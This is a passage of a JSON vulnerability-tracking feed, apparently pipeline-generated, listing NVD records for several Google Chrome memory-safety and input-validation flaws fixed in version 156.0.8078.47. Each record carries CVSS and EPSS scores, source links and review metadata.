exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113179","cveId":"CVE-2026-113179","aliases":[],"kind":"vulnerability","title":"Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.647Z","updatedAt":"2026-10-22T15:24:58.203Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113179","asOf":"2026-10-22T15:24:58.203Z"},"epss":{"probability":0.00443,"percentile":0.38241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113179","type":"primary","publishedAt":"2026-10-20T22:19:10.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113177","cveId":"CVE-2026-113177","aliases":[],"kind":"vulnerability","title":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.427Z","updatedAt":"2026-10-22T15:27:15.690Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113177","asOf":"2026-10-22T15:27:15.690Z"},"epss":{"probability":0.00404,"percentile":0.34343,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113177","type":"primary","publishedAt":"2026-10-20T22:19:10.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113176","cveId":"CVE-2026-113176","aliases":[],"kind":"vulnerability","title":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.320Z","updatedAt":"2026-10-22T15:27:09.820Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113176","asOf":"2026-10-22T15:27:09.820Z"},"epss":{"probability":0.00404,"percentile":0.34343,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113176&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113176","type":"primary","publishedAt":"2026-10-20T22:19:10.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113176&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113176, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113175","cveId":"CVE-2026-113175","aliases":[],"kind":"vulnerability","title":"Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.213Z","updatedAt":"2026-10-22T15:27:03.813Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113175","asOf":"2026-10-22T15:27:03.813Z"},"epss":{"probability":0.00404,"percentile":0.34343,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113175","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113175","type":"primary","publishedAt":"2026-10-20T22:19:10.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113174","cveId":"CVE-2026-113174","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.110Z","updatedAt":"2026-10-22T15:26:57.243Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113174","asOf":"2026-10-22T15:26:57.243Z"},"epss":{"probability":0.00443,"percentile":0.38239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113174","type":"primary","publishedAt":"2026-10-20T22:19:10.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113173","cveId":"CVE-2026-113173","aliases":[],"kind":"vulnerability","title":"Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.997Z","updatedAt":"2026-10-22T15:26:51.120Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113173","asOf":"2026-10-22T15:26:51.120Z"},"epss":{"probability":0.00417,"percentile":0.35723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113173&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113173","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113173","type":"primary","publishedAt":"2026-10-20T22:19:09.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113173&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113173, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113172","cveId":"CVE-2026-113172","aliases":[],"kind":"vulnerability","title":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.890Z","updatedAt":"2026-10-22T15:26:45.163Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113172","asOf":"2026-10-22T15:26:45.163Z"},"epss":{"probability":0.00443,"percentile":0.38239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113172","type":"primary","publishedAt":"2026-10-20T22:19:09.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113168","cveId":"CVE-2026-113168","aliases":[],"kind":"vulnerability","title":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.450Z","updatedAt":"2026-10-22T15:25:47.410Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113168","asOf":"2026-10-22T15:25:47.410Z"},"epss":{"probability":0.00443,"percentile":0.38239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113168","type":"primary","publishedAt":"2026-10-20T22:19:09.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113167","cveId":"CVE-2026-113167","aliases":[],"kind":"vulnerability","title":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.340Z","updatedAt":"2026-10-22T15:25:42.453Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113167","asOf":"2026-10-22T15:25:42.453Z"},"epss":{"probability":0.00443,"percentile":0.38241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113167&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113167","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113167","type":"primary","publishedAt":"2026-10-20T22:19:09.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113167&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113167, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113166","cveId":"CVE-2026-113166","aliases":[],"kind":"vulnerability","title":"Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.233Z","updatedAt":"2026-10-22T15:25:38.113Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113166","asOf":"2026-10-22T15:25:38.113Z"},"epss":{"probability":0.00417,"percentile":0.35716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113166","type":"primary","publishedAt":"2026-10-20T22:19:09.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113165","cveId":"CVE-2026-113165","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.123Z","updatedAt":"2026-10-22T15:25:32.407Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113165","asOf":"2026-10-22T15:25:32.407Z"},"epss":{"probability":0.00443,"percentile":0.38243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113165","type":"primary","publishedAt":"2026-10-20T22:19:09.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 